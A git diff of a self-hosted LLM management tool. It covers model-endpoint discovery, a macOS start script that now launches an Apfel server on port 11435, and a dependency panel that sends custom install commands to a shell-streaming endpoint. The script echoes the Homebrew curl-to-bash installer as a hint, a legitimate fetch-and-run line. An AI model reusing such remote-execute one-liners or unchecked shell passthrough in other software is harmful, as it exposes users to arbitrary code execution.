engine = str(body.get("engine") or "llamacpp").strip() engine = str(body.get("engine") or "llamacpp").strip()
if engine != "llamacpp": if engine != "llamacpp":
@@ -1088,7 +1290,11 @@ def setup_shell_routes() -> APIRouter:
ssh_port = body.get("ssh_port") ssh_port = body.get("ssh_port")
cmd = _llama_cpp_rebuild_cmd() cmd = _llama_cpp_rebuild_cmd()
try: try:
argv = (_ssh_base_argv(host, ssh_port) + [cmd]) if host else ["bash", "-lc", cmd] argv = (
(_ssh_base_argv(host, ssh_port) + [cmd])
if host
else ["bash", "-lc", cmd]
)
except ValueError as e: except ValueError as e:
raise HTTPException(400, str(e)) raise HTTPException(400, str(e))
try: try:
+34 -18
View File
@@ -44,8 +44,7 @@ def discover_tailscale_hosts() -> List[str]:
hosts = [] hosts = []
try: try:
result = subprocess.run( result = subprocess.run(
["tailscale", "status", "--json"], ["tailscale", "status", "--json"], capture_output=True, text=True, timeout=5
capture_output=True, text=True, timeout=5
) )
if result.returncode != 0: if result.returncode != 0:
return hosts return hosts
@@ -154,9 +153,13 @@ class ModelDiscovery:
r = httpx.get(f"http://{host}:{port}/api/v1/models", timeout=1.5) r = httpx.get(f"http://{host}:{port}/api/v1/models", timeout=1.5)
if r.is_success: if r.is_success:
models = (r.json() or {}).get("models") models = (r.json() or {}).get("models")
if (isinstance(models, list) and models if (
and isinstance(models[0], dict) isinstance(models, list)
and "key" in models[0] and "architecture" in models[0]): and models
and isinstance(models[0], dict)
and "key" in models[0]
and "architecture" in models[0]
):
return "lmstudio" return "lmstudio"
except Exception: except Exception:
pass pass
@@ -192,12 +195,15 @@ class ModelDiscovery:
logger.info(f"Scanning {len(hosts)} hosts for models: {hosts}") logger.info(f"Scanning {len(hosts)} hosts for models: {hosts}")
# Well-known ports: 8000-8020 (vLLM, llama.cpp, SGLang, Cookbook), # Well-known ports: 8000-8020 (vLLM, llama.cpp, SGLang, Cookbook),
# 1234 (LM Studio), 11434 (Ollama) # 1234 (LM Studio), 11434 (Ollama), 11435 for APFEL as its default port is
ports = list(range(8000, 8021)) + [1234, 11434] # occupied by Ollama. The env vars can add more ports which will be merged in.
ports = list(range(8000, 8021)) + [1234, 11434, 11435]
ports += [p for p in sorted(self._extra_ports) if p not in ports] ports += [p for p in sorted(self._extra_ports) if p not in ports]
targets = [(h, p) for h in hosts for p in ports] targets = [(h, p) for h in hosts for p in ports]
seen_models = set() # dedupe by (port, model_ids) to avoid same machine via different IPs seen_models = (
set()
) # dedupe by (port, model_ids) to avoid same machine via different IPs
with ThreadPoolExecutor(max_workers=50) as pool: with ThreadPoolExecutor(max_workers=50) as pool:
futures = {pool.submit(self._check_port, h, p): (h, p) for h, p in targets} futures = {pool.submit(self._check_port, h, p): (h, p) for h, p in targets}
@@ -212,7 +218,9 @@ class ModelDiscovery:
# Sort by host then port for consistent ordering # Sort by host then port for consistent ordering
items.sort(key=lambda x: (x["host"], x["port"])) items.sort(key=lambda x: (x["host"], x["port"]))
logger.info(f"Discovered {len(items)} model endpoints across {len(hosts)} hosts") logger.info(
f"Discovered {len(items)} model endpoints across {len(hosts)} hosts"
)
return {"hosts": hosts, "items": items} return {"hosts": hosts, "items": items}
def get_providers(self) -> Dict[str, Any]: def get_providers(self) -> Dict[str, Any]:
@@ -223,15 +231,23 @@ class ModelDiscovery:
if self.openai_api_key: if self.openai_api_key:
openai_models = [ openai_models = [
"gpt-5.2-codex", "gpt-4o-mini", "gpt-image-1.5", "gpt-5.2-codex",
"gpt-4o", "gpt-5.2", "gpt-5.2-pro", "gpt-4o-mini",
"gpt-image-1.5",
"gpt-4o",
"gpt-5.2",
"gpt-5.2-pro",
] ]
providers.append({ providers.append(
"provider": "openai", {
"items": [{ "provider": "openai",
"url": "https://api.openai.com/v1/chat/completions", "items": [
"models": openai_models {
}] "url": "https://api.openai.com/v1/chat/completions",
}) "models": openai_models,
}
],
}
)
return {"providers": providers} return {"providers": providers}
+89 -68
View File
@@ -20,14 +20,14 @@ cd "$REPO_DIR"
# the command line every run — consistent with how app.py reads them via # the command line every run — consistent with how app.py reads them via
# python-dotenv. Variables already set in the shell take priority over .env. # python-dotenv. Variables already set in the shell take priority over .env.
if [ -f .env ]; then if [ -f .env ]; then
while IFS='=' read -r key value; do while IFS='=' read -r key value; do
[[ "$key" =~ ^[[:space:]]*# ]] && continue [[ "$key" =~ ^[[:space:]]*# ]] && continue
[[ -z "${key// }" ]] && continue [[ -z "${key// }" ]] && continue
value="${value%%#*}" value="${value%%#*}"
value="${value#"${value%%[![:space:]]*}"}" value="${value#"${value%%[![:space:]]*}"}"
value="${value%"${value##*[![:space:]]}"}" value="${value%"${value##*[![:space:]]}"}"
[ -n "$key" ] && [ -z "${!key+x}" ] && export "$key=$value" [ -n "$key" ] && [ -z "${!key+x}" ] && export "$key=$value"
done < .env done < .env
fi fi
# Shell overrides (ODYSSEUS_PORT / ODYSSEUS_HOST) take top priority, then .env # Shell overrides (ODYSSEUS_PORT / ODYSSEUS_HOST) take top priority, then .env
@@ -36,7 +36,7 @@ PORT="${ODYSSEUS_PORT:-${APP_PORT:-7860}}" # 7860, not 7000 — macOS AirPlay
HOST="${ODYSSEUS_HOST:-${APP_BIND:-127.0.0.1}}" # Set APP_BIND=0.0.0.0 in .env for LAN/Tailscale access. HOST="${ODYSSEUS_HOST:-${APP_BIND:-127.0.0.1}}" # Set APP_BIND=0.0.0.0 in .env for LAN/Tailscale access.
PROBE_HOST="$HOST" PROBE_HOST="$HOST"
if [ "$PROBE_HOST" = "0.0.0.0" ] || [ "$PROBE_HOST" = "::" ]; then if [ "$PROBE_HOST" = "0.0.0.0" ] || [ "$PROBE_HOST" = "::" ]; then
PROBE_HOST="127.0.0.1" PROBE_HOST="127.0.0.1"
fi fi
# Friendly message on any failure — re-running is safe (every step is idempotent). # Friendly message on any failure — re-running is safe (every step is idempotent).
@@ -46,20 +46,20 @@ echo "▶ Odysseus quick start for macOS"
# Fail fast if the port is already taken (e.g. a previous run still running). # Fail fast if the port is already taken (e.g. a previous run still running).
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
echo "✗ Port $PORT is already in use on $PROBE_HOST. Stop what's using it, or pick another port:" echo "✗ Port $PORT is already in use on $PROBE_HOST. Stop what's using it, or pick another port:"
echo " ODYSSEUS_PORT=7900 ./start-macos.sh" echo " ODYSSEUS_PORT=7900 ./start-macos.sh"
exit 1 exit 1
fi fi
# 1. Homebrew — the macOS package manager. We can't safely auto-install it # 1. Homebrew — the macOS package manager. We can't safely auto-install it
# (it wants its own interactive confirmation), so point the user at it. # (it wants its own interactive confirmation), so point the user at it.
if ! command -v brew >/dev/null 2>&1; then if ! command -v brew >/dev/null 2>&1; then
echo echo
echo "Homebrew is required but not installed. Install it (one command), then re-run this script:" echo "Homebrew is required but not installed. Install it (one command), then re-run this script:"
echo ' /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"' echo ' /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"'
echo echo
echo "More info: https://brew.sh" echo "More info: https://brew.sh"
exit 1 exit 1
fi fi
# 2. Find a Python 3.11+ to build the environment with. # 2. Find a Python 3.11+ to build the environment with.
@@ -72,15 +72,15 @@ fi
# (or non-mac) we just use whatever Python 3.11+ is on PATH. # (or non-mac) we just use whatever Python 3.11+ is on PATH.
PY="" PY=""
if [ "$(uname -m)" = "arm64" ]; then if [ "$(uname -m)" = "arm64" ]; then
cands="/opt/homebrew/bin/python3.13 /opt/homebrew/bin/python3.12 /opt/homebrew/bin/python3.11" cands="/opt/homebrew/bin/python3.13 /opt/homebrew/bin/python3.12 /opt/homebrew/bin/python3.11"
else else
cands="python3 python3.13 python3.12 python3.11" cands="python3 python3.13 python3.12 python3.11"
fi fi
for cand in $cands; do for cand in $cands; do
p="$(command -v "$cand" 2>/dev/null)" || continue p="$(command -v "$cand" 2>/dev/null)" || continue
if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then
PY="$p"; break PY="$p"; break
fi fi
done done
# System dependencies (each installed only if missing, so re-runs stay fast and # System dependencies (each installed only if missing, so re-runs stay fast and
@@ -98,40 +98,41 @@ done
# Install a Homebrew formula only if its command isn't already present. A failed # Install a Homebrew formula only if its command isn't already present. A failed
# install warns but does not abort — Cookbook can be set up later. # install warns but does not abort — Cookbook can be set up later.
brew_ensure() { brew_ensure() {
if command -v "$1" >/dev/null 2>&1; then if command -v "$1" >/dev/null 2>&1; then
echo "$2 already installed" echo "$2 already installed"
return 0 return 0
fi fi
echo " installing $2" echo " installing $2"
if ! brew install "$2"; then if ! brew install "$2"; then
echo " ⚠ Couldn't install $2 right now — Cookbook (local model serving) may be limited." echo " ⚠ Couldn't install $2 right now — Cookbook (local model serving) may be limited."
echo " You can install it later with: brew install $2" echo " You can install it later with: brew install $2"
fi fi
} }
echo "▶ Checking dependencies (Homebrew)…" echo "▶ Checking dependencies (Homebrew)…"
if [ -n "$PY" ]; then if [ -n "$PY" ]; then
echo " (using $("$PY" --version 2>&1) at $PY)" echo " (using $("$PY" --version 2>&1) at $PY)"
else else
echo " installing python@3.11…" echo " installing python@3.11…"
brew install python@3.11 || true brew install python@3.11 || true
PY="$(command -v /opt/homebrew/bin/python3.11 || command -v python3.11 || true)" PY="$(command -v /opt/homebrew/bin/python3.11 || command -v python3.11 || true)"
fi fi
brew_ensure tmux tmux brew_ensure tmux tmux
brew_ensure llama-server llama.cpp brew_ensure llama-server llama.cpp
brew_ensure apfel apfel
if [ -z "$PY" ] || [ ! -x "$PY" ]; then if [ -z "$PY" ] || [ ! -x "$PY" ]; then
echo "✗ Couldn't find a Python 3.11+ to build the environment with." echo "✗ Couldn't find a Python 3.11+ to build the environment with."
echo " Check: ls /opt/homebrew/bin/python3* (or install one: brew install python@3.11)" echo " Check: ls /opt/homebrew/bin/python3* (or install one: brew install python@3.11)"
exit 1 exit 1
fi fi
# 3. Python environment + dependencies (kept inside the repo, in venv/). # 3. Python environment + dependencies (kept inside the repo, in venv/).
# Named `venv` to match the manual steps and build-macos-app.sh, so the # Named `venv` to match the manual steps and build-macos-app.sh, so the
# clickable .app reuses this same environment. # clickable .app reuses this same environment.
if [ ! -d venv ]; then if [ ! -d venv ]; then
echo "▶ Creating Python environment…" echo "▶ Creating Python environment…"
"$PY" -m venv venv "$PY" -m venv venv
fi fi
VENV_PY="./venv/bin/python3" VENV_PY="./venv/bin/python3"
REQ_HASH="$(md5 -q requirements.txt 2>/dev/null || md5sum requirements.txt | cut -d' ' -f1)" REQ_HASH="$(md5 -q requirements.txt 2>/dev/null || md5sum requirements.txt | cut -d' ' -f1)"
@@ -150,9 +151,9 @@ fi
# it got installed (e.g., from an older requirements-optional.txt), remove # it got installed (e.g., from an older requirements-optional.txt), remove
# it to prevent ChromaDB from silently failing in HTTP-only mode. # it to prevent ChromaDB from silently failing in HTTP-only mode.
if "$VENV_PY" -m pip show chromadb-client >/dev/null 2>&1; then if "$VENV_PY" -m pip show chromadb-client >/dev/null 2>&1; then
echo "▶ Cleaning up conflicting chromadb-client package…" echo "▶ Cleaning up conflicting chromadb-client package…"
"$VENV_PY" -m pip uninstall -y chromadb-client "$VENV_PY" -m pip uninstall -y chromadb-client
"$VENV_PY" -m pip install --force-reinstall chromadb "$VENV_PY" -m pip install --force-reinstall chromadb
fi fi
# 4. First-run setup: creates data dirs and prints an initial admin password # 4. First-run setup: creates data dirs and prints an initial admin password
@@ -161,19 +162,39 @@ fi
echo "▶ Preparing Odysseus…" echo "▶ Preparing Odysseus…"
ODYSSEUS_SKIP_RUN_HINT=1 ./venv/bin/python setup.py ODYSSEUS_SKIP_RUN_HINT=1 ./venv/bin/python setup.py
# Local provider bootstrap.
# On Apple Silicon macOS, Apfel is treated as a sibling local model server
# to Ollama: if Homebrew has it installed, we start its OpenAI-compatible
# server on the port next to Ollama, since the default port is 11434 and that's busy (because of ollama).
MACHINE_ARCH="$(uname -m)"
APFEL_PID=""
if [ "$MACHINE_ARCH" = "arm64" ]; then
if command -v apfel >/dev/null 2>&1; then
APFEL_LOG="${TMPDIR:-/tmp}/odysseus-apfel.log"
echo "▶ Starting Apfel server in the background on port 11435…"
echo " logging to $APFEL_LOG"
nohup apfel --serve --port 11435 >"$APFEL_LOG" 2>&1 &
APFEL_PID=$!
else
echo "▶ Apfel is not installed (brew formula missing); skipping Apfel server bootstrap."
fi
else
echo "▶ Non-ARM macOS detected; skipping Apfel server bootstrap."
fi
# 5. Launch. Bind to loopback by default; opt into LAN/Tailscale with # 5. Launch. Bind to loopback by default; opt into LAN/Tailscale with
# ODYSSEUS_HOST=0.0.0.0. # ODYSSEUS_HOST=0.0.0.0.
URL_HOST="$HOST" URL_HOST="$HOST"
if [ "$URL_HOST" = "0.0.0.0" ] || [ "$URL_HOST" = "::" ]; then if [ "$URL_HOST" = "0.0.0.0" ] || [ "$URL_HOST" = "::" ]; then
URL_HOST="127.0.0.1" URL_HOST="127.0.0.1"
fi fi
URL="http://$URL_HOST:$PORT" URL="http://$URL_HOST:$PORT"
TAILSCALE_URL="" TAILSCALE_URL=""
if [ "$HOST" = "0.0.0.0" ] && command -v tailscale >/dev/null 2>&1; then if [ "$HOST" = "0.0.0.0" ] && command -v tailscale >/dev/null 2>&1; then
TS_IP="$(tailscale ip -4 2>/dev/null | head -n 1 || true)" TS_IP="$(tailscale ip -4 2>/dev/null | head -n 1 || true)"
if [ -n "$TS_IP" ]; then if [ -n "$TS_IP" ]; then
TAILSCALE_URL="http://$TS_IP:$PORT" TAILSCALE_URL="http://$TS_IP:$PORT"
fi fi
fi fi
# Open the browser automatically once the server is accepting connections — so # Open the browser automatically once the server is accepting connections — so
@@ -182,33 +203,33 @@ fi
# ODYSSEUS_NO_OPEN=1 (e.g. over SSH / headless). # ODYSSEUS_NO_OPEN=1 (e.g. over SSH / headless).
POLLER_PID="" POLLER_PID=""
if [ -z "$ODYSSEUS_NO_OPEN" ] && command -v open >/dev/null 2>&1; then if [ -z "$ODYSSEUS_NO_OPEN" ] && command -v open >/dev/null 2>&1; then
( (
for _ in $(seq 1 90); do for _ in $(seq 1 90); do
if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then if (exec 3<>"/dev/tcp/$PROBE_HOST/$PORT") 2>/dev/null; then
printf '\n' printf '\n'
printf ' ┌────────────────────────────────────────────┐\n' printf ' ┌────────────────────────────────────────────┐\n'
printf ' │ ✓ Odysseus is ready — opening your browser │\n' printf ' │ ✓ Odysseus is ready — opening your browser │\n'
printf ' │ %-40s │\n' "$URL" printf ' │ %-40s │\n' "$URL"
printf ' │ (Press Ctrl+C in this window to stop) │\n' printf ' │ (Press Ctrl+C in this window to stop) │\n'
printf ' └────────────────────────────────────────────┘\n\n' printf ' └────────────────────────────────────────────┘\n\n'
open "$URL" open "$URL"
break break
fi fi
sleep 1 sleep 1
done done
) & ) &
POLLER_PID=$! POLLER_PID=$!
fi fi
# Setup is done — drop the setup-failure handler, and clean up the background # Setup is done — drop the setup-failure handler, and clean up the background
# opener when the server exits or the user presses Ctrl+C. # opener when the server exits or the user presses Ctrl+C.
trap - ERR trap - ERR
trap '[ -n "$POLLER_PID" ] && kill "$POLLER_PID" 2>/dev/null' EXIT INT TERM trap '[ -n "$POLLER_PID" ] && kill "$POLLER_PID" 2>/dev/null; [ -n "$APFEL_PID" ] && kill "$APFEL_PID" 2>/dev/null' EXIT INT TERM
echo echo
echo "▶ Starting Odysseus — it will open in your browser at $URL" echo "▶ Starting Odysseus — it will open in your browser at $URL"
if [ -n "$TAILSCALE_URL" ]; then if [ -n "$TAILSCALE_URL" ]; then
echo " Tailscale/LAN URL: $TAILSCALE_URL" echo " Tailscale/LAN URL: $TAILSCALE_URL"
fi fi
echo " (this takes a few seconds; press Ctrl+C here to stop)" echo " (this takes a few seconds; press Ctrl+C here to stop)"
echo echo
+132 -91
View File
@@ -89,8 +89,8 @@ function _setCookbookOpening(on) {
].filter(Boolean); ].filter(Boolean);
if (!on) { if (!on) {
_cookbookOpeningSpinners.forEach(({ spinner, wrap, target }) => { _cookbookOpeningSpinners.forEach(({ spinner, wrap, target }) => {
try { spinner?.stop?.(); } catch {} try { spinner?.stop?.(); } catch { }
try { wrap?.remove?.(); } catch {} try { wrap?.remove?.(); } catch { }
target?.classList?.remove('cookbook-opening'); target?.classList?.remove('cookbook-opening');
}); });
_cookbookOpeningSpinners = []; _cookbookOpeningSpinners = [];
@@ -595,7 +595,7 @@ function _fallbackCopy(text) {
ta.style.cssText = 'position:fixed;left:-9999px;top:-9999px'; ta.style.cssText = 'position:fixed;left:-9999px;top:-9999px';
document.body.appendChild(ta); document.body.appendChild(ta);
ta.select(); ta.select();
try { document.execCommand('copy'); } catch (_) {} try { document.execCommand('copy'); } catch (_) { }
document.body.removeChild(ta); document.body.removeChild(ta);
return Promise.resolve(); return Promise.resolve();
} }
@@ -628,7 +628,7 @@ function _readStoredEnvState() {
export function _persistEnvState() { export function _persistEnvState() {
try { localStorage.setItem(LAST_STATE_KEY, JSON.stringify(_envStateForStorage())); } try { localStorage.setItem(LAST_STATE_KEY, JSON.stringify(_envStateForStorage())); }
catch (_) {} catch (_) { }
_saveTasks(_loadTasks()); _saveTasks(_loadTasks());
} }
@@ -681,18 +681,20 @@ async function _fetchDependencies() {
const _statusTag = (pkg, isLocal, isSystemDep, winBlocked) => { const _statusTag = (pkg, isLocal, isSystemDep, winBlocked) => {
if (winBlocked) return `<span class="cookbook-dep-tag cookbook-dep-na">N/A</span>`; if (winBlocked) return `<span class="cookbook-dep-tag cookbook-dep-na">N/A</span>`;
if (pkg.installed && isSystemDep) return `<span class="cookbook-dep-tag cookbook-dep-installed" title="Found on selected server">Installed</span>`; const hasCustomInstall = !!pkg.install_cmd;
if (pkg.installed && pkg.pip_update_available === false) { const hasCustomUpdate = !!pkg.update_cmd;
if (pkg.installed && isSystemDep && !hasCustomUpdate) return `<span class="cookbook-dep-tag cookbook-dep-installed" title="Found on selected server">Installed</span>`;
if (pkg.installed && pkg.pip_update_available === false && !hasCustomUpdate) {
const tip = esc(pkg.update_note || pkg.status_note || 'Found externally; update outside Odysseus.'); const tip = esc(pkg.update_note || pkg.status_note || 'Found externally; update outside Odysseus.');
return `<span class="cookbook-dep-tag cookbook-dep-installed" title="${tip}">Installed</span>`; return `<span class="cookbook-dep-tag cookbook-dep-installed" title="${tip}">Installed</span>`;
} }
if (pkg.installed) return `<button class="cookbook-dep-tag cookbook-dep-installed cookbook-dep-installed-btn" title="Installed — click for actions"><span class="cookbook-dep-installed-label">Installed</span><span class="cookbook-dep-caret">&#9662;</span></button>`; if (pkg.installed) return `<button class="cookbook-dep-tag cookbook-dep-installed cookbook-dep-installed-btn" title="Installed — click for actions"><span class="cookbook-dep-installed-label">Installed</span><span class="cookbook-dep-caret">&#9662;</span></button>`;
if (isSystemDep) { if (isSystemDep && !hasCustomInstall) {
const depTip = esc(pkg.install_hint || 'Install this OS package on the selected server.'); const depTip = esc(pkg.install_hint || 'Install this OS package on the selected server.');
const depLabel = pkg.applicable === false ? 'N/A ?' : 'Missing'; const depLabel = pkg.applicable === false ? 'N/A ?' : 'Missing';
return `<span class="cookbook-dep-tag cookbook-dep-na" title="${depTip}">${depLabel}</span>`; return `<span class="cookbook-dep-tag cookbook-dep-na" title="${depTip}">${depLabel}</span>`;
} }
return `<button class="cookbook-dep-tag cookbook-dep-install" data-dep-pip="${esc(pkg.pip)}" data-dep-target="${isLocal ? 'local' : 'remote'}">Install</button>`; return `<button class="cookbook-dep-tag cookbook-dep-install" data-dep-pip="${esc(pkg.pip || '')}" data-dep-install-cmd="${esc(pkg.install_cmd || '')}" data-dep-update-cmd="${esc(pkg.update_cmd || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}">Install</button>`;
}; };
const _depRow = (pkg) => { const _depRow = (pkg) => {
@@ -715,7 +717,7 @@ async function _fetchDependencies() {
} else if (pkg.name === 'sglang' && pkg.installed) { } else if (pkg.name === 'sglang' && pkg.installed) {
_rebuildBtn = `<button type="button" class="cookbook-dep-tag cookbook-dep-rebuild cookbook-dep-reinstall" data-reinstall-pkg="sglang" title="Force-reinstall SGLang (pulls a matching torch). Runs as a tmux task in the Running tab.">Reinstall</button>`; _rebuildBtn = `<button type="button" class="cookbook-dep-tag cookbook-dep-rebuild cookbook-dep-reinstall" data-reinstall-pkg="sglang" title="Force-reinstall SGLang (pulls a matching torch). Runs as a tmux task in the Running tab.">Reinstall</button>`;
} }
return `<div class="cookbook-dep-row${winBlocked ? ' cookbook-dep-blocked' : ''}" data-pkg-name="${esc(pkg.name)}" data-dep-pip="${esc(pkg.pip || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}" data-dep-kind="${esc(pkg.kind || 'python')}">` return `<div class="cookbook-dep-row${winBlocked ? ' cookbook-dep-blocked' : ''}" data-pkg-name="${esc(pkg.name)}" data-dep-pip="${esc(pkg.pip || '')}" data-dep-install-cmd="${esc(pkg.install_cmd || '')}" data-dep-update-cmd="${esc(pkg.update_cmd || '')}" data-dep-target="${isLocal ? 'local' : 'remote'}" data-dep-kind="${esc(pkg.kind || 'python')}">`
+ `<div class="cookbook-dep-info">` + `<div class="cookbook-dep-info">`
+ `<div class="memory-item-title">${esc(pkg.name)}</div>` + `<div class="memory-item-title">${esc(pkg.name)}</div>`
+ `<div class="memory-item-meta" style="font-size:10px;opacity:0.5;margin-top:2px;">${esc(pkg.desc)}</div>` + `<div class="memory-item-meta" style="font-size:10px;opacity:0.5;margin-top:2px;">${esc(pkg.desc)}</div>`
@@ -745,7 +747,7 @@ async function _fetchDependencies() {
// Shared install/update routine — used by the Install button and the // Shared install/update routine — used by the Install button and the
// "Update" item in an installed package's ⋮ menu. `upgrade` adds pip -U; // "Update" item in an installed package's ⋮ menu. `upgrade` adds pip -U;
// `statusEl`, when given, shows "Installing…/Updating…" and is disabled. // `statusEl`, when given, shows "Installing…/Updating…" and is disabled.
async function _installDep(pipName, pkgName, isLocalOnly, upgrade, statusEl) { async function _installDep(pipName, pkgName, isLocalOnly, upgrade, statusEl, actionCmd = '') {
if (isLocalOnly) { if (isLocalOnly) {
_envState.remoteHost = ''; _envState.remoteHost = '';
_envState.env = 'none'; _envState.env = 'none';
@@ -790,6 +792,43 @@ async function _fetchDependencies() {
envPrefix = 'eval "$(conda shell.bash hook)" && conda activate ' + _shellQuote(_envState.envPath); envPrefix = 'eval "$(conda shell.bash hook)" && conda activate ' + _shellQuote(_envState.envPath);
} }
} }
if (actionCmd) {
const shellCmd = envPrefix ? `${envPrefix} ${actionCmd}` : actionCmd;
const fullCmd = (!isLocalOnly && _envState.remoteHost)
? _sshCmd(_envState.remoteHost, shellCmd, _getPort(_envState.remoteHost))
: shellCmd;
try {
if (statusEl) { statusEl.textContent = upgrade ? 'Updating...' : 'Installing...'; statusEl.disabled = true; }
const res = await fetch('/api/shell/stream', {
method: 'POST', credentials: 'same-origin',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ command: fullCmd }),
});
uiModule.showToast(`${upgrade ? 'Updating' : 'Installing'} ${pkgName} on ${targetHost}...`);
const body = await res.text();
if (!res.ok) throw new Error(`HTTP ${res.status}`);
const exitMatches = [...body.matchAll(/"exit_code":\s*(-?\d+)/g)].map(m => Number(m[1]));
const exitCode = exitMatches.length ? exitMatches[exitMatches.length - 1] : 0;
if (exitCode !== 0) {
throw new Error((body.slice(-500).trim() || `${pkgName} command failed`) + ` (exit ${exitCode})`);
}
if (upgrade) { uiModule.showToast(`Successfully updated ${pkgName} on ${targetHost}.`); } else { uiModule.showToast(`Successfully installed ${pkgName} on ${targetHost}.`); }
await _fetchDependencies();
return;
} catch (err) {
if (statusEl) { statusEl.textContent = 'Install'; statusEl.disabled = false; }
uiModule.showToast(`${upgrade ? 'Update' : 'Install'} failed: ` + err.message);
return;
}
}
// Always go through `python -m pip` so the leading token is `python`
// — matches the /api/model/serve allow-list (bare `pip` is blocked).
// Inside a venv/conda env, `--user` is invalid (pip refuses), so we
// only add `--user --break-system-packages` when there's no env —
// for PEP-668-locked system pythons (Arch, newer Debian).
try { try {
const reqBody = { const reqBody = {
repo_id: pipName, repo_id: pipName,
@@ -828,8 +867,9 @@ async function _fetchDependencies() {
btn.addEventListener('click', async (e) => { btn.addEventListener('click', async (e) => {
e.stopPropagation(); e.stopPropagation();
const pipName = btn.dataset.depPip; const pipName = btn.dataset.depPip;
const installCmd = btn.dataset.depInstallCmd || '';
const pkgName = btn.closest('.cookbook-dep-row')?.querySelector('.memory-item-title')?.textContent || pipName; const pkgName = btn.closest('.cookbook-dep-row')?.querySelector('.memory-item-title')?.textContent || pipName;
await _installDep(pipName, pkgName, btn.dataset.depTarget === 'local', !!btn.dataset.upgrade, btn); await _installDep(pipName, pkgName, btn.dataset.depTarget === 'local', !!btn.dataset.upgrade, btn, installCmd);
}); });
}); });
@@ -852,11 +892,12 @@ async function _fetchDependencies() {
const it = document.createElement('div'); const it = document.createElement('div');
it.className = 'dropdown-item-compact'; it.className = 'dropdown-item-compact';
it.innerHTML = `<span class="dropdown-icon">${upIco}</span><span>Update</span>`; it.innerHTML = `<span class="dropdown-icon">${upIco}</span><span>Update</span>`;
it.title = `Update ${pkgName} to the latest version (pip install -U)`; it.title = row.dataset.depUpdateCmd ? `Update ${pkgName} using its custom command` : `Update ${pkgName} to the latest version (pip install -U)`;
it.addEventListener('click', async (e) => { it.addEventListener('click', async (e) => {
e.stopPropagation(); e.stopPropagation();
dropdown.remove(); dropdown.remove();
await _installDep(pipName, pkgName, isLocalOnly, true, null); const updateCmd = row.dataset.depUpdateCmd || '';
await _installDep(pipName, pkgName, isLocalOnly, true, null, updateCmd);
}); });
dropdown.appendChild(it); dropdown.appendChild(it);
document.body.appendChild(dropdown); document.body.appendChild(dropdown);
@@ -954,7 +995,7 @@ function _wireTabEvents(body) {
// Ignore swipes that start in a horizontally-scrollable tag row — those // Ignore swipes that start in a horizontally-scrollable tag row — those
// should scroll the chips, not flip the tab. // should scroll the chips, not flip the tab.
if (window.innerWidth > 768 || e.touches.length !== 1 if (window.innerWidth > 768 || e.touches.length !== 1
|| e.target.closest('input, textarea, select, .doclib-lang-chips')) { _sx = null; return; } || e.target.closest('input, textarea, select, .doclib-lang-chips')) { _sx = null; return; }
_sx = e.touches[0].clientX; _sy = e.touches[0].clientY; _sx = e.touches[0].clientX; _sy = e.touches[0].clientY;
}, { passive: true }); }, { passive: true });
body.addEventListener('touchend', (e) => { body.addEventListener('touchend', (e) => {
@@ -1353,7 +1394,7 @@ function _wireTabEvents(body) {
// the section is collapsed (the body's content normally provides // the section is collapsed (the body's content normally provides
// separation; with no body visible, the line gives the h2 definition). // separation; with no body visible, the line gives the h2 definition).
dlFold.classList.toggle('is-folded', !folded); dlFold.classList.toggle('is-folded', !folded);
try { localStorage.setItem('cookbook_dl_tab_folded_v1', folded ? '0' : '1'); } catch {} try { localStorage.setItem('cookbook_dl_tab_folded_v1', folded ? '0' : '1'); } catch { }
}); });
} }
const hfToggle = document.getElementById('cookbook-hf-latest-toggle'); const hfToggle = document.getElementById('cookbook-hf-latest-toggle');
@@ -1399,7 +1440,7 @@ function _wireTabEvents(body) {
_hwCache[cacheKey] = hw; _hwCache[cacheKey] = hw;
return hw; return hw;
} }
} catch {} } catch { }
_hwCache[cacheKey] = { vram: 0, backend: '' }; _hwCache[cacheKey] = { vram: 0, backend: '' };
return _hwCache[cacheKey]; return _hwCache[cacheKey];
} }
@@ -1524,7 +1565,7 @@ function _wireTabEvents(body) {
hfInput.addEventListener('change', async () => { hfInput.addEventListener('change', async () => {
const val = hfInput.value.trim(); const val = hfInput.value.trim();
_envState.hfToken = val; _envState.hfToken = val;
try { await _persistEnvState(); } catch {} try { await _persistEnvState(); } catch { }
if (val) { if (val) {
_envState.hfTokenConfigured = true; _envState.hfTokenConfigured = true;
const masked = val.length > 6 ? val.slice(0, 3) + '…' + val.slice(-3) : '••••'; const masked = val.length > 6 ? val.slice(0, 3) + '…' + val.slice(-3) : '••••';
@@ -1724,7 +1765,7 @@ function _renderRecipes() {
html += '<option value="general" selected>Standard</option><option value="coding">Coding</option>'; html += '<option value="general" selected>Standard</option><option value="coding">Coding</option>';
html += '<option value="reasoning">Reasoning</option><option value="chat">Chat</option>'; html += '<option value="reasoning">Reasoning</option><option value="chat">Chat</option>';
// Image tab removed — text→image gen is gone from this build (only inpaint // Image tab removed — text→image gen is gone from this build (only inpaint
// remains, which uses its own settings panel). Vision (multimodal) stays. // remains, which uses its own settings panel). Vision (multimodal) stays.
html += '<option value="multimodal">Vision</option></select>'; html += '<option value="multimodal">Vision</option></select>';
// Engine sits next to the type filter so the "what category / which serving // Engine sits next to the type filter so the "what category / which serving
// path" filters live together; Quant + Context are storage-format and budget // path" filters live together; Quant + Context are storage-format and budget
@@ -1790,12 +1831,12 @@ function _renderRecipes() {
// to the curated model list. Sits below the list so it reads as a callout // to the curated model list. Sits below the list so it reads as a callout
// after browsing, not a header. // after browsing, not a header.
html += '<div class="hwfit-list-footer" style="margin-top:8px;padding-top:6px;border-top:1px solid color-mix(in srgb, var(--border) 50%, transparent);font-size:9.5px;opacity:0.65;text-align:right;">' html += '<div class="hwfit-list-footer" style="margin-top:8px;padding-top:6px;border-top:1px solid color-mix(in srgb, var(--border) 50%, transparent);font-size:9.5px;opacity:0.65;text-align:right;">'
+ 'Don\'t see a model? ' + 'Don\'t see a model? '
